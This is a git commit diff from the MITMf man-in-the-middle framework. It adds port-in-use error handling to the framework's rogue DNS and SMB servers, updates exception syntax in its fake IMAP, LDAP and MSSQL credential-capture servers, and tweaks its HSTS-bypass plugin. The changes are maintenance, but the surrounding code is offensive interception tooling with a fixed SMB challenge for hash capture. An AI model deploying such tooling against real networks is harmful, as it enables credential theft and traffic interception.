Added error handling to DNS and SMB servers when port is in use

Added check to see if a plugins options were called without loading the actual plugin
This commit is contained in:
byt3bl33d3r 2015-05-06 23:07:59 +02:00
parent 70ec5a2bbc
commit d3e509d4cd
10 changed files with 45 additions and 23 deletions

View file

@ -23,6 +23,11 @@
rpcpass = abc123 rpcpass = abc123
[[SMB]] [[SMB]]
#
#Here you can configure MITMf's internal SMB server
#
#Set a custom challenge #Set a custom challenge
Challenge = 1122334455667788 Challenge = 1122334455667788

View file

@ -474,10 +474,14 @@ class DNSChef(ConfigWatcher):
self.onConfigChange() self.onConfigChange()
self.startConfigWatch() self.startConfigWatch()
if self.config['MITMf']['DNS']['tcp'].lower() == 'on': try:
self.startTCP() if self.config['MITMf']['DNS']['tcp'].lower() == 'on':
else: self.startTCP()
self.startUDP() else:
self.startUDP()
except socket.error as e:
if "Address already in use" in e:
sys.exit("\n[-] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port']))
# Initialize and start the DNS Server # Initialize and start the DNS Server
def startUDP(self): def startUDP(self):

View file

@ -1,6 +1,3 @@
##################################################################################
#SMB stuff starts here
##################################################################################
class ThreadingTCPServer(ThreadingMixIn, TCPServer): class ThreadingTCPServer(ThreadingMixIn, TCPServer):
@ -333,8 +330,4 @@ class SMB1LM(BaseRequestHandler):
except Exception: except Exception:
self.request.close() self.request.close()
pass pass
##################################################################################
#SMB Server stuff ends here
##################################################################################

View file

@ -1,6 +1,7 @@
import logging import logging
import sys import sys
import threading import threading
from socket import error as socketerror
from impacket import version, smbserver, LOG from impacket import version, smbserver, LOG
from core.configwatcher import ConfigWatcher from core.configwatcher import ConfigWatcher
@ -22,9 +23,13 @@ class SMBserver(ConfigWatcher):
impacket_ver = version.VER_MINOR impacket_ver = version.VER_MINOR
def __init__(self, listenAddress = '0.0.0.0', listenPort=445, configFile=''): def __init__(self, listenAddress = '0.0.0.0', listenPort=445, configFile=''):
self.server = smbserver.SimpleSMBServer(listenAddress, listenPort, configFile) try:
self.server.setSMBChallenge(self.config["MITMf"]["SMB"]["Challenge"]) self.server = smbserver.SimpleSMBServer(listenAddress, listenPort, configFile)
self.server.setSMBChallenge(self.config["MITMf"]["SMB"]["Challenge"])
except socketerror as e:
if "Address already in use" in e:
sys.exit("\n[-] Unable to start SMB server on port 445: port already in use")
def start(self): def start(self):
t = threading.Thread(name='SMBserver', target=self.server.start) t = threading.Thread(name='SMBserver', target=self.server.start)

View file

@ -16,7 +16,7 @@ class IMAPServer():
t = threading.Thread(name="IMAPServer", target=server.serve_forever) t = threading.Thread(name="IMAPServer", target=server.serve_forever)
t.setDaemon(True) t.setDaemon(True)
t.start() t.start()
except Exception, e: except Exception as e:
mitmf_logger.error("[IMAPServer] Error starting on port {}: {}".format(143, e)) mitmf_logger.error("[IMAPServer] Error starting on port {}: {}".format(143, e))
class ThreadingTCPServer(ThreadingMixIn, TCPServer): class ThreadingTCPServer(ThreadingMixIn, TCPServer):

View file

@ -20,7 +20,7 @@ class LDAPServer():
t = threading.Thread(name="LDAPServer", target=server.serve_forever) t = threading.Thread(name="LDAPServer", target=server.serve_forever)
t.setDaemon(True) t.setDaemon(True)
t.start() t.start()
except Exception, e: except Exception as e:
mitmf_logger.error("[LDAPServer] Error starting on port {}: {}".format(389, e)) mitmf_logger.error("[LDAPServer] Error starting on port {}: {}".format(389, e))
class ThreadingTCPServer(ThreadingMixIn, TCPServer): class ThreadingTCPServer(ThreadingMixIn, TCPServer):

View file

@ -12,14 +12,14 @@ class MSSQLServer():
def start(self, chal): def start(self, chal):
global Challenge; Challenge = chal global Challenge; Challenge = chal
try: try:
mitmf_logger.debug("[MSSQLServer] online") mitmf_logger.debug("[MSSQLServer] online")
server = ThreadingTCPServer(("0.0.0.0", 1433), MSSQL) server = ThreadingTCPServer(("0.0.0.0", 1433), MSSQL)
t = threading.Thread(name="MSSQLServer", target=server.serve_forever) t = threading.Thread(name="MSSQLServer", target=server.serve_forever)
t.setDaemon(True) t.setDaemon(True)
t.start() t.start()
except Exception, e: except Exception as e:
mitmf_logger.error("[MSSQLServer] Error starting on port {}: {}".format(1433, e)) mitmf_logger.error("[MSSQLServer] Error starting on port {}: {}".format(1433, e))
class ThreadingTCPServer(ThreadingMixIn, TCPServer): class ThreadingTCPServer(ThreadingMixIn, TCPServer):

View file

@ -69,6 +69,9 @@ try:
except Exception as e: except Exception as e:
print "[-] Failed to load plugin class {}: {}".format(p, e) print "[-] Failed to load plugin class {}: {}".format(p, e)
arg_dict = dict() #dict containing a plugin's optname with it's relative options
#Give subgroup to each plugin with options #Give subgroup to each plugin with options
try: try:
for p in plugins: for p in plugins:
@ -81,6 +84,9 @@ try:
if p.has_opts: if p.has_opts:
p.add_options(sgroup) p.add_options(sgroup)
arg_dict[p.optname] = vars(sgroup)['_group_actions']
except NotImplementedError: except NotImplementedError:
sys.exit("[-] {} plugin claimed option support, but didn't have it.".format(p.name)) sys.exit("[-] {} plugin claimed option support, but didn't have it.".format(p.name))
@ -90,11 +96,19 @@ if len(sys.argv) is 1:
args = parser.parse_args() args = parser.parse_args()
# Definitely a better way to do this, will need to clean this up in the future
# Checks to see if we called a plugin's options without first invoking the actual plugin
for plugin, options in arg_dict.iteritems():
if vars(args)[plugin] is False:
for option in options:
if vars(args)[option.dest] is True:
sys.exit("[-] Called plugin options without invoking --{}".format(plugin))
#first check to see if we supplied a valid interface #first check to see if we supplied a valid interface
myip = SystemConfig.getIP(args.interface) myip = SystemConfig.getIP(args.interface)
mymac = SystemConfig.getMAC(args.interface) mymac = SystemConfig.getMAC(args.interface)
#Start logging #Start logging
log_level = logging.__dict__[args.log_level.upper()] log_level = logging.__dict__[args.log_level.upper()]
logging.basicConfig(level=log_level, format="%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") logging.basicConfig(level=log_level, format="%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")

View file

@ -48,7 +48,7 @@ class Responder(Plugin):
try: try:
config = self.config['Responder'] config = self.config['Responder']
smbChal = self.config['MITMf']['SMB']['Challenge'] smbChal = self.config['MITMf']['SMB']['Challenge']
except Exception, e: except Exception as e:
sys.exit('[-] Error parsing config for Responder: ' + str(e)) sys.exit('[-] Error parsing config for Responder: ' + str(e))
LANFingerprinter().start(options) LANFingerprinter().start(options)

View file

@ -22,7 +22,7 @@ import sys
import logging import logging
from plugins.plugin import Plugin from plugins.plugin import Plugin
from core.utils import IpTables from core.utils import IpTables, SystemConfig
from core.sslstrip.URLMonitor import URLMonitor from core.sslstrip.URLMonitor import URLMonitor
from core.dnschef.DNSchef import DNSChef from core.dnschef.DNSchef import DNSChef
@ -37,10 +37,11 @@ class HSTSbypass(Plugin):
def initialize(self, options): def initialize(self, options):
self.options = options self.options = options
self.manualiptables = options.manualiptables self.manualiptables = options.manualiptables
ip_address = SystemConfig.getIP(options.interface)
if not options.manualiptables: if not options.manualiptables:
if IpTables.getInstance().dns is False: if IpTables.getInstance().dns is False:
IpTables.getInstance().DNS(options.ip_address, self.config['MITMf']['DNS']['port']) IpTables.getInstance().DNS(ip_address, self.config['MITMf']['DNS']['port'])
URLMonitor.getInstance().setHstsBypass() URLMonitor.getInstance().setHstsBypass()
DNSChef.getInstance().setHstsBypass() DNSChef.getInstance().setHstsBypass()